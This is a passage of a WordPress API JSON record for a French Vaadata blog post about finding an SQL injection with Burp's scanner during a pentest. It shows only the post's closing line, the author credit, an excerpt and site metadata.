temps d&rsquo;investiguer. \u00c7a peut en valoir la peine !<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Auteur : Benoit Philippe &#8211; Pentester @Vaadata <\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>D\u00e9couverte d&rsquo;une injection SQL avec le scanner de BURP Lors d&rsquo;un pentest, nous sommes tomb\u00e9s sur cette situation :<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":{"0":"post-5404","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/5404","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=5404"}],"version-history":[{"count":26,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/5404\/revisions"}],"predecessor-version":[{"id":5547,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/5404\/revisions\/5547"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=5404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=5404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=5404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}